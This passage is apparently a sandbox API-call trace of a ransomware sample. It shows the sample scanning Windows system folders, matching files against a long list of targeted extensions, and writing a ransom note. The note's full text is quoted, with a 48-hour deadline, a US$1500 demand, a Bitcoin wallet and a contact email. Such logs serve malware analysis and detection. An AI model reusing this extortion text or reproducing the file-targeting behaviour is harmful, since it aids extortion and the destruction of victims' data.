(pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.idx") returned 0 [0165.286] lstrlenA (lpString="*.idx") returned 5 [0165.286] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.dbx") returned 0 [0165.286] lstrlenA (lpString="*.dbx") returned 5 [0165.286] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.sql") returned 0 [0165.286] lstrlenA (lpString="*.sql") returned 5 [0165.286] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.mdb") returned 0 [0165.287] lstrlenA (lpString="*.mdb") returned 5 [0165.287] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.fdb") returned 0 [0165.287] lstrlenA (lpString="*.fdb") returned 5 [0165.287] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.wab") returned 0 [0165.287] lstrlenA (lpString="*.wab") returned 5 [0165.287] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.dat") returned 0 [0165.287] lstrlenA (lpString="*.dat") returned 5 [0165.287] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.txt") returned 0 [0165.287] lstrlenA (lpString="*.txt") returned 5 [0165.287] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.jpeg") returned 0 [0165.287] lstrlenA (lpString="*.jpeg") returned 6 [0165.287] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.jpg") returned 0 [0165.287] lstrlenA (lpString="*.jpg") returned 5 [0165.287] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.png") returned 0 [0165.287] lstrlenA (lpString="*.png") returned 5 [0165.287] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.php") returned 0 [0165.287] lstrlenA (lpString="*.php") returned 5 [0165.288] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.cs") returned 0 [0165.288] lstrlenA (lpString="*.cs") returned 4 [0165.288] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.cpp") returned 0 [0165.288] lstrlenA (lpString="*.cpp") returned 5 [0165.288] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.rar") returned 0 [0165.288] lstrlenA (lpString="*.rar") returned 5 [0165.288] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.zip") returned 0 [0165.288] lstrlenA (lpString="*.zip") returned 5 [0165.288] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.html") returned 0 [0165.288] lstrlenA (lpString="*.html") returned 6 [0165.288] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.htm") returned 0 [0165.288] lstrlenA (lpString="*.htm") returned 5 [0165.289] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.xlsx") returned 0 [0165.289] lstrlenA (lpString="*.xlsx") returned 6 [0165.289] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.xls") returned 0 [0165.289] lstrlenA (lpString="*.xls") returned 5 [0165.289] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.mp4") returned 0 [0165.289] lstrlenA (lpString="*.mp4") returned 5 [0165.289] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.ppt") returned 0 [0165.289] lstrlenA (lpString="*.ppt") returned 5 [0165.289] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.pptx") returned 0 [0165.289] lstrlenA (lpString="*.pptx") returned 6 [0165.289] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.doc") returned 0 [0165.290] lstrlenA (lpString="*.doc") returned 5 [0165.290] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.dot") returned 0 [0165.290] lstrlenA (lpString="*.dot") returned 5 [0165.290] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.docx") returned 0 [0165.290] lstrlenA (lpString="*.docx") returned 6 [0165.290] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.7z") returned 0 [0165.290] lstrlenA (lpString="*.7z") returned 4 [0165.290] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.tar") returned 0 [0165.290] lstrlenA (lpString="*.tar") returned 5 [0165.290] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.bz2") returned 0 [0165.290] lstrlenA (lpString="*.bz2") returned 5 [0165.290] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.gz") returned 0 [0165.290] lstrlenA (lpString="*.gz") returned 4 [0165.290] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.mkv") returned 0 [0165.290] lstrlenA (lpString="*.mkv") returned 5 [0165.291] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.eml") returned 0 [0165.291] lstrlenA (lpString="*.eml") returned 5 [0165.291] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.msg") returned 0 [0165.291] lstrlenA (lpString="*.msg") returned 5 [0165.291] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.edb") returned 0 [0165.291] lstrlenA (lpString="*.edb") returned 5 [0165.291] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.accdb") returned 0 [0165.291] lstrlenA (lpString="*.accdb") returned 7 [0165.291] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.odb") returned 0 [0165.291] lstrlenA (lpString="*.odb") returned 5 [0165.291] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.java") returned 0 [0165.291] lstrlenA (lpString="*.java") returned 6 [0165.291] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.asm") returned 0 [0165.291] lstrlenA (lpString="*.asm") returned 5 [0165.291] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.pfx") returned 0 [0165.291] lstrlenA (lpString="*.pfx") returned 5 [0165.291] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.pem") returned 0 [0165.291] lstrlenA (lpString="*.pem") returned 5 [0165.292] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.p12") returned 0 [0165.292] lstrlenA (lpString="*.p12") returned 5 [0165.292] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.gpg") returned 0 [0165.292] lstrlenA (lpString="*.gpg") returned 5 [0165.292] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_6a596cc4a4e01cf1\\Aspnet_perf.dll", pszSpec="*.vsd") returned 0 [0165.292] lstrlenA (lpString="*.vsd") returned 5 [0165.293] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9335c779, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9335c779, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9335c779, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9358, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Aspnet_perf.dll", cAlternateFileName="ASPNET~1.DLL")) returned 0 [0165.293] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.293] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x111f9040, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1121f19a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1121f19a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033", cAlternateFileName="AMBEF4~1.163")) returned 1 [0165.293] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033") returned -1 [0165.293] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033") returned -1 [0165.293] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.293] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033" [0165.294] lstrlenA (lpString="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033") returned 97 [0165.294] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x111f9040, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1121f19a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1121f19a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.294] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.294] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x111f9040, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1121f19a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1121f19a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.294] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.294] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.294] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3db7ac7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3db7ac7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x95febcb5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1989, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aspnet_perf.h", cAlternateFileName="ASPNET~1.H")) returned 1 [0165.294] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.294] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aspnet_perf.h") returned 1 [0165.294] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aspnet_perf.h") returned 1 [0165.294] lstrcmpiA (lpString1="", lpString2="aspnet_perf.h") returned -1 [0165.294] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\*.*") returned="*.*" [0165.295] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\" [0165.295] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\") returned="" [0165.295] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\HOW TO DECRYPT FILES.txt" [0165.295] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\how to decrypt files.txt")) returned 0xffffffff [0165.295] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.295] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.295] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.295] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.295] CloseHandle (hObject=0xffffffff) returned 0 [0165.295] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\", lpString2="aspnet_perf.h" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h" [0165.296] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.ems") returned 0 [0165.296] lstrlenA (lpString="*.ems") returned 5 [0165.296] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.db") returned 0 [0165.296] lstrlenA (lpString="*.db") returned 4 [0165.296] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.dbf") returned 0 [0165.296] lstrlenA (lpString="*.dbf") returned 5 [0165.296] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.myox") returned 0 [0165.296] lstrlenA (lpString="*.myox") returned 6 [0165.296] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.myo") returned 0 [0165.296] lstrlenA (lpString="*.myo") returned 5 [0165.296] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.qbw") returned 0 [0165.296] lstrlenA (lpString="*.qbw") returned 5 [0165.296] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.qbb") returned 0 [0165.296] lstrlenA (lpString="*.qbb") returned 5 [0165.296] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.qbm") returned 0 [0165.296] lstrlenA (lpString="*.qbm") returned 5 [0165.296] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.qbo") returned 0 [0165.296] lstrlenA (lpString="*.qbo") returned 5 [0165.296] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.qbx") returned 0 [0165.296] lstrlenA (lpString="*.qbx") returned 5 [0165.296] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.qba") returned 0 [0165.296] lstrlenA (lpString="*.qba") returned 5 [0165.296] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.qby") returned 0 [0165.297] lstrlenA (lpString="*.qby") returned 5 [0165.297] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.qbj") returned 0 [0165.297] lstrlenA (lpString="*.qbj") returned 5 [0165.297] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.ofx") returned 0 [0165.297] lstrlenA (lpString="*.ofx") returned 5 [0165.297] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.qif") returned 0 [0165.297] lstrlenA (lpString="*.qif") returned 5 [0165.297] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.mye") returned 0 [0165.297] lstrlenA (lpString="*.mye") returned 5 [0165.297] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.mbox") returned 0 [0165.297] lstrlenA (lpString="*.mbox") returned 6 [0165.297] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.eml") returned 0 [0165.297] lstrlenA (lpString="*.eml") returned 5 [0165.297] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.pst") returned 0 [0165.297] lstrlenA (lpString="*.pst") returned 5 [0165.297] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.ost") returned 0 [0165.297] lstrlenA (lpString="*.ost") returned 5 [0165.297] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.idx") returned 0 [0165.297] lstrlenA (lpString="*.idx") returned 5 [0165.297] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.dbx") returned 0 [0165.298] lstrlenA (lpString="*.dbx") returned 5 [0165.298] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.sql") returned 0 [0165.298] lstrlenA (lpString="*.sql") returned 5 [0165.298] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.mdb") returned 0 [0165.298] lstrlenA (lpString="*.mdb") returned 5 [0165.298] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.fdb") 